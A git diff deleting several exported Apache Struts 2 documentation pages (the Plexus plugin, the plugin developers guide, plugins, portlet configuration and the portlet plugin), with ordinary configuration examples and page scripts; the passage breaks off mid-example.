-<p>This plugin provides an <a shape="rect" href="objectfactory.html">ObjectFactory</a> implementation that tries to create Struts Action, Interceptor, and Result classes as Plexus objects.</p>
-
-<h2 id="PlexusPlugin-Features">Features</h2>
-
-<ul><li>Allows Actions, Results, and Interceptors to be created and managed by Plexus</li></ul>
-
-
-<h2 id="PlexusPlugin-Usage">Usage</h2>
-
-<p>To use the plugin, when configuring Struts Actions, Interceptors, or Results in <code>struts.xml</code>, set the <code>class</code> attribute to contain the Plexus object id, rather than the actual Java class.  This will allow Plexus to create the object and inject any dependencies also managed by Plexus.</p>
-
-<h3 id="PlexusPlugin-Example">Example</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>A simple Action using a Plexus id</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="myAction" class="myPlexusId"&gt;
-  &lt;result&gt;myAction.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<h3 id="PlexusPlugin-Settings">Settings</h3>
-
-<p>The following settings can be customized.  See the <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/display/WW/Configuration+Files">developer guide</a>.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Setting</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Description</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Default</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Possible Values</p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p><code>struts.objectFactory</code></p></td><td colspan="1" rowspan="1" class="conf [...]
-
-
-<h3 id="PlexusPlugin-Installation">Installation</h3>
-
-<p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory.  No other files need to be copied or created.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/plugin-developers-guide.html b/content/docs/plugin-developers-guide.html
deleted file mode 100644
index 40d470a..0000000
--- a/content/docs/plugin-developers-guide.html
+++ /dev/null
@@ -1,231 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Plugin Developers Guide</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Plugin Developers Guide</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44163">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44163">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44163">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44163">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44163">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44163">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">Apache Struts 2 provides a simple <a shape="rect" href="plugins.html">plugin architecture</a> so that developers can extend the framework just by adding a JAR to the application's classpath. Since plugins are contained in a JAR, they are easy to share with others. Several plugins are bundled with the framework, and others are available from third-party sources.<ul><li><a shape="rect" href="plugins.html">Plugins</a></li><li><a shape="rect" href="ext [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/plugins.html b/content/docs/plugins.html
deleted file mode 100644
index c1f9137..0000000
--- a/content/docs/plugins.html
+++ /dev/null
@@ -1,164 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Plugins</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="plugins.html">Plugins</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Plugins</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13868">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13868">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13868">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13868">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13868">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13868">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Struts 2 plugins contain classes and configuration that extend, replace, or add to existing Struts framework functionality. A plugin can be installed by adding its JAR file to the application's class path, in addition to the JAR files to fulfill whatever dependencies the plugin itself may have. To configure the plugin, the JAR should contain a <code>struts-plugin.xml</code> file, which follows the same format as an ordinary <code>struts.xml</cod [...]
-
-&lt;@s.url value="/struts/main.css" var="css" /&gt;
-&lt;link rel="stylesheet" type="text/css" href="%{#css}" /&gt;
-</plain-text-body><p>Read also <a shape="rect" class="external-link" href="http://struts.apache.org/2.x/struts2-core/apidocs/org/apache/struts2/dispatcher/StaticContentLoader.html">StaticContentLoader JavaDoc</a>.</p><h2 id="Plugins-ExtensionPoints">Extension Points</h2><p>Extension points allow a plugin to override a key class in the Struts framework with an alternate implementation. For example, a plugin could provide a new class to create Action classes or map requests to Actions.</p> [...]
-   + manifest.mf
- + org
-   + apache
-     + struts2
-       + sitemesh
-         + FreeMarkerPageFilter.class
-         + TemplatePageFilter.class
-         + VelocityPageFilter.class
- + struts-plugin.xml
-</plain-text-body><p>While the SiteMesh Plugin doesn't provide any new results, interceptors, or actions, or even extend any Struts integration points, it does need to know what settings have been enabled in the Struts framework. Therefore, its <code>struts-plugin.xml</code> looks like this:</p><plain-text-body>{snippet:id=all|lang=xml|url=struts2/plugins/sitemesh/src/main/resources/struts-plugin.xml}</plain-text-body><p>The two bean elements, with the "static" flag enabled, tell Struts  [...]
-   + manifest.mf
- + org
-   + apache
-     + struts2
-       + tiles
-         + StrutsTilesListener.class
-         + StrutsTileUtilImpl.class
-       + views
-         + tiles
-           + TilesResult.class
-   + struts-plugin.xml
-</plain-text-body><p>Since the Tiles Plugin does need to register configuration elements, a result class, it provides a <code>struts-plugin.xml</code> file.</p><h2 id="Plugins-PluginRegistry">Plugin Registry</h2><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For a list of bundled plugins, see the <a shape="rect" href="plugin- [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/portlet-configuration.html b/content/docs/portlet-configuration.html
deleted file mode 100644
index 760a907..0000000
--- a/content/docs/portlet-configuration.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Portlet Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="portlet-configuration.html">Portlet Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Portlet Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14296">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14296">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14296">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14296">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14296">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14296">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Content moved <a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=73891">here</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/portlet-plugin.html b/content/docs/portlet-plugin.html
deleted file mode 100644
index b12ce66..0000000
--- a/content/docs/portlet-plugin.html
+++ /dev/null
@@ -1,216 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Portlet Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="portlet-plugin.html">Portlet Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Portlet Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=74033">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=74033">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=74033">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=74033">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=74033">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=74033">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="PortletPlugin-Documentation">Documentation</h1><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><strong>The Portlet Plugin</strong>is used for developing JSR286 portlets using Struts 2<strong>.</strong></p></div></div><h2 id="PortletPlugin-portlet-class">portlet- [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-
-&lt;portlet-app id="my-portlet-app"
-	xmlns="http://java.sun.com/xml/ns/portlet/portlet-app_2_0.xsd"
-	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0"
